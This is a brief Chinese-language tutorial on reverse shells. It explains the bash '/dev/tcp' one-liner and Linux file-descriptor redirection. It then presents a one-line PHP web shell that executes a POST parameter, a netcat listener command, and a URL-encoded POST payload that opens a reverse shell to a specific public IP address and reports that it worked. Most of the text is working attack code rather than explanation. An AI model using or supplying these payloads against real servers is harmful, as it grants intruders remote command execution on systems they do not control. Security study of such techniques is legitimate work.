反弹shell语句
bash -i >& /dev/tcp/ip/port 0>&1
这句的意思是 首先将标准输出重定向/dev/tcp/ip/port也就是远程 然后再把标准输入重定向远程。
然后就可以在远程输入输出了
其中ip必须为公网Ip
bash -i 在本地产生一个交互的bash环境
>&的含义
当>&后面接文件时,是将标准输出和标准错误输出重定向此文件
当>& 后面接文件描述符时,是将>&前面的文件描述符重定向>&后面的文件描述符
linxux下的文件描述符有
0 代表标准输入 <或<<
1 代表标准输出 >或>>
2 代表标准错误输出 2>或2>>
下面附一个php代码进行反弹shell利用
<?php
exec($_POST['a']);
?>
首先在公网ip的终端输入 nc -lvp 7 监听端口7接受连接
post数据: a=bash%20-i%20%3E%26%20%2fdev%2ftcp%2f123.207.51.206%2f7%200%3E%261
成功反弹
参考链接